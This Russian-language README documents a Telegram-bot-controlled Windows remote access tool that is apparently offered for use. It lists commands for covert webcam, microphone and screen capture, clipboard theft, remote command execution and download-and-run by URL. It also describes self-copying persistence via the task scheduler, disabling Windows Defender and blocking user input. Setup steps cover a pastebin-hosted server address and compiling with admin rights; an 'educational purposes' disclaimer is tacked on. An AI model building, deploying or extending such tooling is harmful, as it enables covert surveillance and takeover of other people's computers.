Проект представляет собой клиент-серверную систему удаленного управления Windows-устройствами через Telegram-бот. Клиентская часть работает в фоновом режиме, подключается к серверу и выполняет команды, а серверная часть предоставляет удобный интерфейс управления через Telegram с помощью топиков. Для каждого клиента создается отдельный топик, которые работают независимо друг от друга
Каждый клиент создает отдельную тему в группе-форуме(типа 🇷🇺 Win 10 | ⚡️ user | 94.141.124.208), просто отправляйте команды в соответствующую тему для управления конкретным клиентом. Кол-во клиентов условно неограничено. Если клиент, например, закроет процесс, выключит комьютер, или еще что-то, что в итоге связь прервется(автоматически восстанавливается по возможности), вы получите уведомления типа "🔴 Клиент DESKTOP-MULMQ2N/... отключился (ОФФЛАЙН)!", если успешно подключится - "✅ DESKTOP-MULMQ2N/... онлайн". Также возможен таймаут(аналогичен "оффлайну") "⏰ Таймаут/Рассинхрон WIN-NB4GA5M6TVF/..."
- client.py — клиентская часть, устанавливается на целевом устройстве (Windows)
- server.py — серверная часть (Telegram бот), принимает команды и управляет клиентами
- data_info.txt — конфигурационный файл для сервера (токен бота и ID группы)
📁 Файловый менеджер:
/ls [путь] — список файлов и папок (в корне '/' показываются диски)
/cd <путь> — сменить текущую директорию
/back — вернуться в родительскую папку (из корня диска переходит к списку дисков)
/pwd — показать текущий путь
/mkdir <имя> — создать папку
/delete <имя> — удалить файл или папку
/rename <старое>/n<новое> — переименовать файл или папку
/copy <источник>/to<назначение> — скопировать файл или папку
/move <источник>/to<назначение> — переместить файл или папку
📥 Передача файлов:
/download <файл> — скачать файл с клиента в Telegram
/upload [имя] — загрузить файл из Telegram на клиент
/download_link <URL> [0] — скачать файл по ссылке (0 — скачать без запуска)
⚙️ Система и выполнение команд:
/run <файл> — запустить программу или файл
/execute <команда> — выполнить CMD или PowerShell команду
/sysinfo — информация о системе (ЦПУ, память, диск)
/tasklist — получить список процессов (отправляется в виде TXT файла)
/taskkill <имя.exe или PID> — завершить процесс
/showdesktop — принудительно показать рабочий стол
/status — показать информацию о сервере
/restart (нестабильно) — перезапустить клиент
/cmdbomb — открыть 10 окон CMD
/wd_exclude [путь] — добавить исходный или указанный файл в исключения Windows Defender
/killwindef — временно отключить Windows Defender
/grant <путь> — получить полный доступ к папке или файлу (использует TakeOwn и Icacls)
💬 Интерфейс и уведомления:
/msg [тип] [заголовок]/t<текст> — показать всплывающее окно на клиенте
/changeclipboard <текст> — установить содержимое буфера обмена
/clipboard — получить содержимое буфера обмена
🖱️ Управление вводом и экраном:
/screenshot или /sc — сделать скриншот экрана
/photo [индекс] — сделать фото с веб-камеры
/minimize — свернуть активное окно
/maximize — развернуть активное окно
/altf4 — закрыть активное окно
/keypress <клавиши> — нажать комбинацию клавиш (например: alt f4, win r)
/holdkey <сек> <клавиши> — зажать клавишу или комбинацию клавиш на N секунд
/mouseclick — выполнить клик мышью
/mousemove <X> <Y> — переместить курсор мыши в указанные координаты
/keytype <текст> — ввести текст с поддержкой кириллицы
/open_image <сек> <путь> — открыть изображение на полный экран на N секунд
/applist [<индекс>] — посмотреть список окон или вывести выбранное окно на передний план
/applist_close <индекс> — закрыть выбранное окно
/applist_title <индекс> <новое имя> — переименовать выбранное окно
/whereami — показать путь к текущему исполняемому файлу
👾 Автоматизация:
/mousemesstart — включить случайное движение мыши
/mousemesstop — остановить случайное движение мыши
/auto <сек> [screen|webcam|both] [индекс камеры] — авто-отправка скриншотов или фото с заданным интервалом
/stop — остановить выполнение команды /auto
🔇 Мультимедиа:
/playsound <путь> — воспроизвести аудиофайл на клиенте
/stopsound — остановить воспроизведение аудио
/mic <сек> — запись звука с микрофона (до 30 секунд)
/webcam <индекс> <сек> — запись видео с веб-камеры (до 30 секунд)
/screenrecord <сек> — запись видео с экрана (до 60 секунд)
/volumeplus [N] — увеличить громкость (по умолчанию +2%)
/volumeminus [N] — уменьшить громкость (по умолчанию -2%)
📎 Плагины:
/plugins_reload или /pl_upd — перезагрузить список плагинов
/plugins — открыть панель управления плагинов
/pl_on <ID> — включить выбранный плагин
/pl_off <ID> — выключить выбранный плагин
/pl_rm <ID> — удалить(с диска) выбранный плагин
/install_lib <URL> — установить библиотеку по прямой ссылке
🔧 Прочие команды:
/help - список команд
/set_topic <client_id> <thread_id> — переназначает клиента в выбранный топик
/wallpaper <путь> — установить обои рабочего стола
/block — заблокировать мышь и клавиатуру
/unblock — разблокировать мышь и клавиатуру
/location — получить местоположение клиента (страна, город, IP и т.д.)
/update [pastebin raw] — обновить версию клиентского ПО
/clients — посмотреть список активных клиентов и их историю
/clients_off — список неактивных клиентов
/version — посмотреть версию ПО на стороне клиента
Клиент
- Автоматическое копирование в системную папку, добавление себя в планировщик задач
- Удаление временных файлов, закрытие мусорного процесса
- Механизмы переподключения и heartbeat
- Уникальная идентификация устройств
- Поддержка плагинов, их шифрование на диске
Сервер
- Асинхронная архитектура: Высокая производительность
- Многопользовательский: Поддержка множества клиентов
- Форумные топики: Изолированные чаты для каждого устройства
- История сессий: Отслеживание активности клиентов(онлайн/оффлайн)
Нужны будут открытые порты, в идеале бесперерывно работаюий vds
-
Создайте Telegram бота и получите токен
-
Создайте чат, в его настройках включите "темы"(обязательно), добавьте бота в чат, дайте ему права администратора
-
Установите зависимости и рядом с файлом server.py создайте data_info.txt с содержимым типа:
TOKEN = your token without quotes GROUP_CHAT_ID = -123456789Вставьте вместо "your token without quotes" свой токен(без кавычек)
Вместо "-123456789" айди(например, -1002447758315) вашего чата(одного), где вы только что включили темы. В нескольких чатах одновременно бот работать не может(!)
-
Также в самом файле server.py пролистайте немного вниз до переменной PORT, можете изменить порт если вам надо
-
Сервер можно запускать
-
В файле client.py нужно внести несколько правок. Вообще в коде используется("в идеале") конфигурация из pastebin типа
{ "ip": "121.43.65.121", "port": 7777 }Порт должен быть аналогичным написанному на серверной части, и сам ip тоже сервера. Ссылка на pastebin должна быть в переменной EXEC_URL = "https://pastebin.com/raw/xxxx"
-
Также лучше вставить запасные данные в DEFAULT_IP, DEFAULT_PORT, они будут использоватся, если взять с pastebin не получится. Либо если вам не хочется для тестов делать pastebin, можете написать некорректную ссылку, но нормальные альтернативные данные, и спустя несколько неудачных попыток клиент автоматически будет использовать как раз "дефолтные"
-
Если будете компилировать в exe, используйте флаг --uac-admin(или альтернативный), т.к в коде проверки на права администратора нет
Этот проект создан в образовательных целях. Автор не поддерживает использование этого ПО для незаконной деятельности. Убедитесь, что вы имеете право на управление устройствами, на которые устанавливаете клиентскую часть.